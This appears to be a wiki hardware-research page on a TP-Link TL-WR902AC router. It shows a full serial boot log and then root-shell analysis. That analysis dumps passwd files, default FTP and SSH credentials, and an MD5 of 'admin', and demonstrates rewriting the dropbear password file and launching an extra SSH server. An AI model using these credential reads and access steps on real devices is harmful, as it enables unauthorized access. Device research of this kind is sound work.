0x000000000000-0x000000020000 : "boot"
0x000000020000-0x000000160000 : "kernel"
0x000000160000-0x0000007c0000 : "rootfs"
mtd: partition "rootfs" set to be root filesystem
0x0000007c0000-0x0000007d0000 : "config"
0x0000007d0000-0x0000007e0000 : "romfile"
0x0000007e0000-0x0000007f0000 : "rom"
0x0000007f0000-0x000000800000 : "radio"
Register flash device:flash0
PPP generic driver version 2.4.2
PPP MPPE Compression module registered
NET: Registered protocol family 24
Mirror/redirect action on
u32 classifier
Actions configured
Netfilter messages via NETLINK v0.30.
nf_conntrack version 0.5.0 (959 buckets, 3836 max)
ip_tables: (C) 2000-2006 Netfilter Core Team, Type=Linux
TCP cubic registered
NET: Registered protocol family 10
ip6_tables: (C) 2000-2006 Netfilter Core Team
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
Ebtables v2.0 registered
802.1Q VLAN Support v1.8 Ben Greear <greearb@candelatech.com>
All bugs added by David S. Miller <davem@redhat.com>
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.
Freeing unused kernel memory: 160k freed
starting pid 34, tty '': '/etc/init.d/rcS'
cp: can't stat '/etc/SingleSKU_FCC.dat': No such file or directory
rdm_major = 253
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6
Read MAC from flash( 7df100) 74-ffffffda-ffffff88-fffffffc-ffffffc3-ffffffae
GMAC1_MAC_ADRH -- : 0x000074da
GMAC1_MAC_ADRL -- : 0x88fcc3ae
Ralink APSoC Ethernet Driver Initilization. v3.1 256 rx/tx descriptors allocated, mtu = 1500!
NAPI enable, Tx Ring = 256, Rx Ring = 256
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6
Read MAC from flash( 7df100) 74-ffffffda-ffffff88-fffffffc-ffffffc3-ffffffae
GMAC1_MAC_ADRH -- : 0x000074da
GMAC1_MAC_ADRL -- : 0x88fcc3ae
PROC INIT OK!
add domain:tplinkwifi.net
add domain:tplinkap.net
add domain:tplinkrepeater.net
add domain:tplinklogin.net
tp_domain init ok
L2TP core driver, V2.0
PPPoL2TP kernel driver, V2.0
Set: phy[0].reg[0] = 3900
Set: phy[1].reg[0] = 3900
Set: phy[2].reg[0] = 3900
Set: phy[3].reg[0] = 3900
Set: phy[4].reg[0] = 3900
Set: phy[0].reg[0] = 3300
Set: phy[1].reg[0] = 3300
Set: phy[2].reg[0] = 3300
Set: phy[3].reg[0] = 3300
Set: phy[4].reg[0] = 3300
resetMiiPortV over.
Set: phy[0].reg[4] = 01e1
Set: phy[0].reg[0] = 3300
Set: phy[1].reg[4] = 01e1
Set: phy[1].reg[0] = 3300
Set: phy[2].reg[4] = 01e1
Set: phy[2].reg[0] = 3300
Set: phy[3].reg[4] = 01e1
Set: phy[3].reg[0] = 3300
Set: phy[4].reg[4] = 01e1
Set: phy[4].reg[0] = 3300
turn off flow control over.
starting pid 82, tty '/dev/ttyS1': '/bin/sh'
~ # [ util_execSystem ] 141: ipt_init cmd is "/var/tmp/dconf/rc.router"

[ dm_readFile ] 2061: can not open xml file /var/tmp/pc/reduced_data_model.xml!, about to open file /etc/reduced_data_model.xml
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000
spiflash_ioctl_read, Read from 0x007c0000 length 0xa1b0, ret 0, retlen 0xa1b0
===>Enter Routerspiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6
mode
[ oal_sys_readMaspiflash_ioctl_read, Read from 0x007df200 length 0x4, ret 0, retlen 0x4
cFlash ] 1174: spiflash_ioctl_read, Read from 0x007df300 length 0x4, ret 0, retlen 0x4
set flash mac : spiflash_ioctl_read, Read from 0x007df400 length 0x10, ret 0, retlen 0x10
74:DA:88:FC:C3:Aspiflash_ioctl_read, Read from 0x007df500 length 0x29, ret 0, retlen 0x29
E.
spiflash_ioctl_read, Read from 0x007df600 length 0x21, ret 0, retlen 0x21
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10
spiflash_ioctl_read, Read from 0x00020000 length 0x1d0, ret 0, retlen 0x1d0
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6
[ oal_sys_readMacFlash ] 1174: set flash mac : 74:DA:88:FC:C3:AE.
sendto: No such file or directory
pid 81 send 2001 error
Get SNTP new config
[ util_execSystem ] 141: oal_startDynDns cmd is "dyndns /var/tmp/dconf/dyndns.conf"
[ util_execSystem ] 141: oal_startNoipDns cmd is "noipdns /var/tmp/dconf/noipdns.conf"
[ util_execSystem ] 141: oal_startCmxDns cmd is "cmxdns /var/tmp/dconf/cmxdns.conf"

ioctl: No such device
[ util_execSystem ] 141: oal_br_addBridge cmd is "brctl addbr br0;brctl setfd br0 0;brctl stp br0 off"
[ util_execSystem ] 141: oal_ipt_addLanRules cmd is "iptables -t filter -A INPUT -i br+ -j ACCEPT
[ util_execSystem ] 141: oal_intf_setIntf cmd is "ifconfig br0 192.168.1.1 netmask 255.255.255.0 up"
[ util_execSystem ] 141: oal_util_setProcLanAddr cmd is "echo "br0 16885952,"Raeth v3.1 ( > /proc/net/conNAPI
ntract_LocalAddr,SkbRecycle"

[ util_exec)
System ] 141: o
phy_tx_ring = 0x030cf000, tx_ring = 0xa30cf000
al_intf_enableIn
phy_rx_ring0 = 0x030d0000, rx_ring0 = 0xa30d0000
tf cmd is "ifcon[fe_sw_init:5350]rt305x_esw_init.
fig eth0 up"

disable switch phyport...
GMAC1_MAC_ADRH -- : 0x000074da
GMAC1_MAC_ADRL -- : 0x88fcc3ae
RT305x_ESW: Link Status Changed
[ rsl_getUnusedVlan ] 1079: GET UNUSED VLAN TAG 1 : [3]
[ rsl_getUnusedVlan ] 1079: GET UNUSED VLAN TAG 2 : [4]
[ rsl_getUnusedVlan ] 1079: GET UNUSED VLAN TAG 3 : [5]
[ rsl_getUnusedVlan ] 1079: GET UNUSED VLAN TAG 4 : [6]
[ util_execSystem ] 141: oal_addVlanTagIntf cmd is "vconfig add eth0 3"
[ util_execSystem ] 141: oal_intf_enableIntf cmd is "ifconfig eth0.3 up"

set if eth0.3 to *not wan dev
[ util_execSystem ] 141: oal_addVlanTagIntf cmd is "vconfig add eth0 4"
[ util_execSystem ] 141: oal_intf_enableIntf cmd is "ifconfig eth0.4 up"

set if eth0.4 to *not wan dev
[ util_execSystem ] 141: oal_addVlanTagIntf cmd is "vconfig add eth0 5"
[ util_execSystem ] 141: oal_intf_enableIntf cmd is "ifconfig eth0.5 up"

set if eth0.5 to *not wan dev
[ util_execSystem ] 141: oal_addVlanTagIntf cmd is "vconfig add eth0 6"
[ util_execSystem ] device eth0.3 entered promiscuous mode
141: oal_intf_edevice eth0 entered promiscuous mode
nableIntf cmd isbr0: port 1(eth0.3) entering forwarding state
"ifconfig eth0.br0: port 1(eth0.3) entering forwarding state
6 up"

set if eth0.6 to *not wan dev
[ util_execSystem ] 141: oal_addVlanTagdevice eth0.4 entered promiscuous mode
Intf cmd is "vcobr0: port 2(eth0.4) entering forwarding state
nfig add eth0 2"br0: port 2(eth0.4) entering forwarding state

[ util_execSystem ] 141: oal_intf_enableIntf cmd is "ifconfig eth0.2 up"
device eth0.5 entered promiscuous mode

set if eth0.2 tbr0: port 3(eth0.5) entering forwarding state
o wan dev
[ vlabr0: port 3(eth0.5) entering forwarding state
n_addLanPortsIntoBridge ] 606: add lan Port 255 from br0
[ util_execSystem ] 1device eth0.6 entered promiscuous mode
41: oal_br_addIbr0: port 4(eth0.6) entering forwarding state
ntfIntoBridge cmbr0: port 4(eth0.6) entering forwarding state
d is "brctl addif br0 eth0.3"
[ util_execSystem ] 141: oal_br_addIntfIntoBridge cmd is "brctl addif br0 eth0.4"
[ util_execSystem ] 141: oal_br_addIntfIntoBridge cmd is "brctl addif br0 eth0.5"
[ util_execSystem ] 141: oal_br_addIntfIntoBridge cmd is "brctl addif br0 eth0.6"
[ util_execSystem ] 141: rsl_initIPv6CfgObj cmd is "echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6"
[ util_execSystem ] 141: oal_eth_setIGMPSnoopParam cmd is "for i in /sys/devices/virtual/net/*/bridge/multicast_snooping;do echo 1 > $i ; done"
[ util_execSystem ] 141: oal_wlan_ra_setCountryRegion cmd is "cp /etc/SingleSKU_CE.dat /var/Wireless/RT2860AP/SingleSKU.dat"
[ util_execSystem ] 141: oal_wlan_ra_setCountryRegion cmd is "iwpriv ra0 set CountryRegion=1"

ra0 no private ioctls.
[ util_execSystem ] 141: oal_wlan_ra_loadDriver cmd is "insmod /lib/modules/kmdir/kernel/drivers/net/wireless/mt_wifi_ap/mt_wifi.ko"

ADDRCONF(NETDEV_CHANGE): eth0.4: link becomes ready
ADDRCONF(NETDEV_CHANGE): eth0.5: link becomes ready
ADDRCONF(NETDEV_CHANGE): eth0.6: link becomes ready
ADDRCONF(NETDEV_CHANGE): eth0.2: link becomes ready

=== pAd = c085d000, size = 1509896 ===

<-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x
<-- RTMPAllocAdapterBlock, Status=0
RtmpChipOpsHook(492): Not support for HIF_MT yet!
mt7628_init()-->
mt7628_init(FW(8a00), HW(8a01), CHIPID(7628))
e2.bin mt7628_init(1156)::(2), pChipCap->fw_len(64560)
mt_bcn_buf_init(218): Not support for HIF_MT yet!
<--mt7628_init()
[ util_execSystem ] 141: oal_wlan_ra_initWlan cmd is "ifconfig ra0 up"

TX_BCN DESC a32b6000 size = 320
RX[0] DESC a32b8000 size = 2048
RX[1] DESC a32b9000 size = 2048
RT_CfgSetApcliMacAddress : invalid mac setting
cfg_mode=9
cfg_mode=9
wmode_band_equal(): Band Equal!
AndesSendCmdMsg: Could not send in band command due to diable fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD
APSDCapable[0]=0
APSDCapable[1]=0
APSDCapable[2]=0
APSDCapable[3]=0
APSDCapable[4]=0
APSDCapable[5]=0
APSDCapable[6]=0
APSDCapable[7]=0
APSDCapable[8]=0
APSDCapable[9]=0
APSDCapable[10]=0
APSDCapable[11]=0
APSDCapable[12]=0
APSDCapable[13]=0
APSDCapable[14]=0
APSDCapable[15]=0
default ApCliAPSDCapable[0]=0
Key1Str is Invalid key length(0) or Type(0)
Key1Str is Invalid key length(0) or Type(0)
Key2Str is Invalid key length(0) or Type(0)
Key2Str is Invalid key length(0) or Type(0)
Key3Str is Invalid key length(0) or Type(0)
Key3Str is Invalid key length(0) or Type(0)
Key4Str is Invalid key length(0) or Type(0)
Key4Str is Invalid key length(0) or Type(0)
WscKeyASCII=8
WscKeyASCII=8
[RTMPReadParametersHook:297]wifi read profile faild.
load fw image from fw_header_image
AndesMTLoadFwMethod1(2263)::pChipCap->fw_len(64560)
FW Version:1
FW Build Date:20161213152835
CmdAddressLenReq:(ret = 0)
CmdFwStartReq: override = 1, address = 1048576
CmdStartDLRsp: WiFI FW Download Success
MtAsicDMASchedulerInit(): DMA Scheduler Mode=0(LMAC)
efuse_probe: efuse = 10000012
RtmpChipOpsEepromHook::e2p_type=0, inf_Type=4
RtmpEepromGetDefault::e2p_dafault=2
RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P default = 2
NVM is FLASH mode
1. Phy Mode = 14
exec!
spiflash_ioctl_read, Read from 0x007f0000 length 0x400, ret 0, retlen 0x400
tx or rx disable[f0000300][count=0]!!!
eeFlashId = 0x7628!
tx or rx disable[f0000300][count=1]!!!
Country Region from e2p = ffff
tssi_1_target_pwr_g_band = 34
2. Phy Mode = 14
3. Phy Mode = 14
NICInitPwrPinCfg(11): Not support for HIF_MT yet!
NICInitializeAsic(651): Not support rtmp_mac_sys_reset () for HIF_MT yet!
mt_mac_init()-->
MtAsicInitMac()-->
mt7628_init_mac_cr()-->
MtAsicSetMacMaxLen(1277): Set the Max RxPktLen=450!
<--mt_mac_init()
WTBL Segment 1 info:
tx or rx disable[f0000300][count=2]!!!
Reset tx rx bit!!!
MemBaseAddr/FID:0x28000/0
EntrySize/Cnt:32/128
WTBL Segment 2 info:
MemBaseAddr/FID:0x40000/0
EntrySize/Cnt:64/128
WTBL Segment 3 info:
MemBaseAddr/FID:0x42000/64
EntrySize/Cnt:64/128
WTBL Segment 4 info:
MemBaseAddr/FID:0x44000/128
EntrySize/Cnt:32/128
AntCfgInit(2940): Not support for HIF_MT yet!
MCS Set = ff ff 00 00 01
MtAsicSetChBusyStat(861): Not support for HIF_MT yet!
FW LOG: !!!! Pass, dont need recal (total fail[0])

FW LOG: !!!! Pass, dont need recal (total fail[0])

FW LOG: !!!! Pass, dont need recal (total fail[0])

FW LOG: RxDCOC Set DC Valid(8)(2)

tx or rx disable[f0000300][count=0]!!!
CmdSlotTimeSet:(ret = 0)
[PMF]ap_pmf_init:: apidx=0, MFPC=0, MFPR=0, SHA256=0
[PMF]RTMPMakeRsnIeCap: RSNIE Capability MFPC=0, MFPR=0
[PMF]ap_pmf_init:: apidx=1, MFPC=0, MFPR=0, SHA256=0
MtAsicSetRalinkBurstMode(3156): Not support for HIF_MT yet!
MtAsicSetPiggyBack(796): Not support for HIF_MT yet!
reload DPD from flash , 0x9F = [ca00] doReload bit7[0]
CmdLoadDPDDataFromFlash: Channel = 3, DoReload = 0
MtAsicSetTxPreamble(3135): Not support for HIF_MT yet!
MtAsicAddSharedKeyEntry(1344): Not support for HIF_MT yet!
The 4-BSSID mode is enabled, the BSSID byte5 MUST be the multiple of 4
MtAsicSetPreTbtt(): bss_idx=0, PreTBTT timeout = 0xf0
ap_ftkd> Initialize FT KDP Module...
Main bssid = 74:da:88:fc:c3:ae
<==== rt28xx_init, Status=0
@@@ ed_monitor_init : ===>
@@@ ed_monitor_init : <===
mt7628_set_ed_cca: TURN ON EDCCA mac 0x10618 = 0xd7c87d0f, EDCCA_Status=1
WiFi Startup Cost (ra0): 3.464s
[ util_execSystem ] 141: oal_wlan_ra_initWlan cmd is "echo 1 > /proc/tplink/led_wlan_24G"
[ util_execSystem ] 141: oal_wlanSet_ed_chk_proc()::ed_chk=0
_ra_initWlan cmdmt7628_set_ed_cca: TURN OFF EDCCA mac 0x10618 = 0xd7083f0f, EDCCA_Status=0
is "iwpriv ra0 set ed_chk=0"
[ util_execSystem ] 141: oal_wlan_ra_setStaNum cmd is "iwpriv ra0 set MaxStaNum=32"
[ util_execSystem ] 141: oal_br_addIntfIntoBridge cmd device ra0 entered promiscuous mode
is "brctl addif br0: port 5(ra0) entering forwarding state
br0 ra0"

br0: port 5(ra0) entering forwarding state
[ util_execSystem ] 141: oal_br_addIntfIntoBridge cmd is "brctldevice apcli0 entered promiscuous mode
addif br0 apcli0"
[ util_execSystem ] 141: oal_br_addIntfIntoBridge cmd is device ra1 entered promiscuous mode
"brctl addif br0 ra1"
[ util_execSystem ] 141: oal_wlan_ra_initEnd cmspiflash_ioctl_read, Read from 0x007f0000 length 0x2, ret 0, retlen 0x2
d is "wlNetlinkTool &"
[ util_execSystem ] 141: oal_wlan_ra_initEnd cmd is "killall -q wscd"

WLAN-Start wlNetlinkTool
Waiting for Wireless Events from interfaces...
swWlanChkAhbErr: netlink to do
[ util_execSystem ] 141: oal_wlan_ra_initEnd cmd is "wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ &"
[ util_execSystem ] 141: rsl_initLanWlanObj cmd is "echo 0 > /proc/tplink/wl_mode"

[ oal_wlan_ra_loadDriver ] 2040: no 5G chip.

[ rsl_initLanWlanObj ] 9419: perror:1
wscd: SSDP UDP PORT = 1900
sendto: No such file or directory
pid 81 send 2030 error
sendto: No such file or directory
pid 81 send 2004 error
[ util_execSystem ] 141: oal_startDhcps cmd is "dhcpd /var/tmp/dconf/udhcpd.conf"
[ util_execSystem ] 141: oal_lan6_startDhcp6s cmd is "dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run/dhcp6s_br0.pid br0 &"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 141: oal_lan6_startRadvd cmd is "radvd -C /var/tmp/dconf/radvd_br0.conf -p /var/run/radvd_br0.pid &"
[ util_execSystem ] 141: oal_startSnmp cmd is "snmpd -f /var/tmp/dconf/snmpd.conf"

mldProxy# file: src/mld_ifinfo.c;line: 102; error = No such file or directory
mldProxy# Err: get LLA failed
[ rsl_initEwanObj ] 298: Initialize EWAN, enable(1)!
[ rsl_setEwanObj ] 208: Get Ethernet's stack!
[ rsl_setEwanObj ] 262: enable ethernet interface now!
[ oal_ewan_enable ] 458: pEwan->ifName(eth0.2)
[ util_execSystem ] 141: oal_br_delIntfFromBridge cmd is "brctl delif br0 eth0.2"

brctl: bridge br0: Invalid argument
[ rsl_setEwanObj ] 268: EWAN.ifname(eth0.2)!
[ wan_conn_wanIpConn_getConnectionInfo ] 906: GET MAC(74:DA:88:FC:C3:AF) successfully!
[ util_execSystem ] 141: oal_intf_setIfMac cmd is "ifconfig eth0.2 down"
[ util_execSystem ] 141: oal_intf_setIfMac cmd is "ifconfig eth0.2 hw ether 74:DA:88:FC:C3:AF up"
[ util_execSystem ] 141: oal_intf_enableIntf cmd is "ifconfig eth0.2 up"

[ rsl_initWanPppConnObj ] 398: into rsl_initWanPppConnObj!
[ rsl_initWanPppConnObj ] 515: rsl_initWanPppConnObj successed!
[ rsl_initWanPppConnObj ] 398: into rsl_initWanPppConnObj!
[ rsl_initWanPppConnObj ] 515: rsl_initWanPppConnObj successed!
radvd starting
[Jan 01 00:00:08] radvd: no linklocal address configured for br0
[Jan 01 00:00:08] radvd: error parsing or activating the config file: /var/tmp/dconf/radvd_br0.conf
[ rsl_initAppObj ] 1020: ==> start dhcp client
[ util_execSystem ] 141: oal_ipt_fwDdos cmd is "iptables -D FORWARD -j FIREWALL_DDOS
"

iptables: No chain/target/match by that name.
[ util_execSystem ] 141: oal_ipt_forbidLanPing cmd is "iptables -t filter -D INPUT -i br+ -p icmp --icmp-type echo-request -j DROP
iptables -t filter -D FORWARD -i br+ -p icmp --icmp-type echo-request -j DROP
"

iptables: Bad rule (does a matching rule exist in that chain?).
iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 141: oal_ddos_delPingRule cmd is "iptables -t filter -D INPUT ! -i br+ -p icmp --icmp-type echo-request -j ACCEPT
"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 141: oal_ipt_setDDoSRules cmd is "iptables -F FIREWALL_DDOS"
[ util_execSystem ] 141: ddos_clearAll cmd is "rm -f /var/tmp/dosHost"
[ util_execSystem ] 141: oal_initFirewallObj cmd is "ebtables -N FIREWALL"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -F"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -X"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -P INPUT ACCEPT"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -P FORWARD DROP"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -P OUTPUT ACCEPT"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -N FIREWALL"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -N FWRULE"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -N SETMSS"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -i lo -p ALL -j ACCEPT -m comment --comment "loop back""
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -i br+ -p tcp --dport 23 -j ACCEPT"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -p tcp --dport 23 -j DROP"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -i br+ -p tcp --dport 22 -j ACCEPT"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -p tcp --dport 22 -j DROP"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -i br+ -p icmpv6 --icmpv6-type echo-request -j ACCEPT"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j DROP"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -A FORWARD -j FIREWALL"
[ util_execSystem ] 141: oal_initIp6FirewallObj cmd is "ip6tables -I FORWARD 1 -j SETMSS"
[ util_execSystem ] 141: oal_fw6_setFwEnabeld cmd is "ip6tables -D FIREWALL -j ACCEPT"

ip6tables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 141: oal_fw6_setFwEnabeld cmd is "ip6tables -F FIREWALL"
[ util_execSystem ] 141: oal_fw6_setFwEnabeld cmd is "ip6tables -A FIREWALL -j ACCEPT"

[ rsl_initWanL2tpConnObj ] 245: L2TP Connection(ewan_l2tp) is not enable.

[ rsl_initWanL2tpConnObj ] 245: L2TP Connection() is not enable.

[ rsl_initWanPptpConnObj ] 239: PPTP Connection(ewan_pptp) is not enable.

[ rsl_initWanPptpConnObj ] 239: PPTP Connection() is not enable.
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_ftp.ko"
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_ftp.ko"
[ util_execSystem ] 141: oal_openAlg cmd is "iptables -D FORWARD_VPN_PASSTHROUGH -p udp --dport 500 -j DROP"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_proto_gre.ko"
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_pptp.ko"
[ util_execSystem ] 141: oal_openAlg cmd is "iptables -D FORWARD_VPN_PASSTHROUGH -p tcp --dport 1723 -j DROP"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 141: oal_openAlg cmd is "iptables -D FORWARD_VPN_PASSTHROUGH -p udp --dport 1701 -j DROP"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_tftp.ko"
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_tftp.ko"
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_h323.ko"
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_h323.ko"
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_sip.ko"
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_sip.ko"
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_rtsp.ko"
[ util_execSystem ] 141: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_rtsp.ko"

nf_nat_rtsp v0.6.21 loading
enable switch phyport...
Set: phy[0].reg[0] = 3900
Set: phy[1].reg[0] = 3900
Set: phy[2].reg[0] = 3900
Set: phy[3].reg[0] = 3900
Set: phy[4].reg[0] = 3900
[cmd_dutInit():1081] init shm
[tddp_taskEntry():151] tddp task start
Set: phy[0].reg[0] = 3300
Set: phy[1].reg[0] = 3300
Set: phy[2].reg[0] = 3300
Set: phy[3].reg[0] = 3300
Set: phy[4].reg[0] = 3300
resetMiiPortV over.
Set: phy[0].reg[4] = 01e1
Set: phy[0].reg[0] = 3300
Set: phy[1].reg[4] = 01e1
Set: phy[1].reg[0] = 3300
Set: phy[2].reg[4] = 01e1
Set: phy[2].reg[0] = 3300
Set: phy[3].reg[4] = 01e1
Set: phy[3].reg[0] = 3300
Set: phy[4].reg[4] = 01e1
Set: phy[4].reg[0] = 3300
turn off flow control over.
[ util_execSystem ] 141: prepareDropbear cmd is "dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key"

Will output 1024 bit rsa secret key to '/var/tmp/dropbear/dropbear_rsa_host_key'
Generating key, this may take a while...
[ util_execSystem ] 141: prepareDropbear cmd is "dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key"

Will output 1024 bit dss secret key to '/var/tmp/dropbear/dropbear_dss_host_key'
Generating key, this may take a while...</nowiki>
</div>
</div>
</div>

<h4>Live Analysis</h4>

<b>TL-WR902AC: Firmware 170828</b>
<div class="toccolours mw-collapsible" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Available tools</div>
<div class="mw-collapsible-content">

<nowiki>arping dropbear iwconfig pppd tdpd
ash dropbearkey iwlist ps tftp
ated_tp dropbearmulti iwpriv pwdog tmpd
bpalogin dyndns kill radvd top
brctl ebtables killall reboot traceroute
busybox echo login reg umount
cat free ls ripd upnpd
chat getty lsmod rm usb_modeswitch
chmod halt mii_mgr rmmod usbp
cli handle_card mii_mgr_cl45 route ushare
cmxdns hotplug mkdir rt2860apd vconfig
config-mii.sh httpd mldProxy rtinicapd vsftpd
cos ifconfig modem_scan scp wanType
cp igmpd mount sh wlNetlinkTool
date init netstat sleep wscd
df insmod noipdns smbcontrol wscd_5G
dhcp6c ip ntfs-3g smbd xl2tpd
dhcp6s ip6tables ntpc smbpasswd xtables-multi
dhcpc ipcrm pidof switch zebra
dhcpd ipcs ping taskset
diagTool ipping ping6 tc
dnsProxy iptables poweroff tddp</nowiki>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Mounted filesystems</div>
<div class="mw-collapsible-content">

<nowiki>rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/sys on /sys type sysfs (rw,relatime)
usbfs on /proc/bus/usb type usbfs (rw,relatime)</nowiki>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Service configuration</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash"># echo $USER
root

# cat /etc/passwd
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh
dropbear:x:500:500:dropbear:/var/tmp/dropbear:/bin/sh
nobody:*:99:99:nobody:/:/bin/sh
guest:*:0:0:guest:/var/usbdisk/:/bin/sh

# cat /var/passwd
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh
dropbear:x:500:500:dropbear:/var/tmp/dropbear:/bin/sh
nobody:*:99:99:nobody:/:/bin/sh
guest:*:0:0:guest:/var/usbdisk/:/bin/sh

# cat /etc/vsftpd_passwd
admin:1234:1:1;guest:guest:0:0;test:test:1:1;$

# cat /etc/vsftpd.conf
anonymous_enable=NO
local_enable=YES
write_enable=YES
connect_from_port_20=YES
ascii_upload_enable=YES
ascii_download_enable=YES
listen=YES
chroot_local_user=YES
max_clients=2
ftpd_banner=Welcome to TP-LINK FTP server
pasv_min_port=50000
pasv_max_port=60000

# ls /var/tmp/dropbear/
dropbear_dss_host_key dropbear_rsa_host_key dropbearpwd
# cat /var/tmp/dropbear/dropbearpwd
username:admin
password:21232f297a57a5a743894a0e4a801fc3. <-- MD5("admin")

# Extracted from the Bootlog
# prepareDropbear cmd is "dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key"
# Will output 1024 bit rsa secret key to '/var/tmp/dropbear/dropbear_rsa_host_key'
# prepareDropbear cmd is "dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key"
# Will output 1024 bit dss secret key to '/var/tmp/dropbear/dropbear_dss_host_key'
# prepareDropbear cmd is "dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_host_key -d /var/tmp/dropbear/dropbear_dss_host_key -A /var/tmp/dropbear/dropbearpwd"</syntaxhighlight>

<div style="text-align: justify;">It is also possible to add or change user credentials to work with SSH since the <code>/var</code> directory is writable. Also dropbear can run on multiple ports. In a similar manner, using <code>echo</code>, it is possible to modify the passwd file in the <code>/var</code> directory.</div>

<syntaxhighlight lang="Bash">~ # cd /var/tmp/dropbear/
/var/tmp/dropbear # cat dropbearpwd
username:admin
password:21232f297a57a5a743894a0e4a801fc3
/var/tmp/dropbear # cp dropbearpwd dropbearpwd.bak
/var/tmp/dropbear # echo "username:test" > dropbearpwd
/var/tmp/dropbear # echo "password:21232f297a57a5a743894a0e4a801fc3" >> dropbearpwd
/var/tmp/dropbear # cat dropbearpwd
username:test
password:21232f297a57a5a743894a0e4a801fc3

# Start a new Dropbear instance
dropbear -p 2222 -r /var/tmp/dropbear/dropbear_rsa_host_key</syntaxhighlight>

</div>
</div>

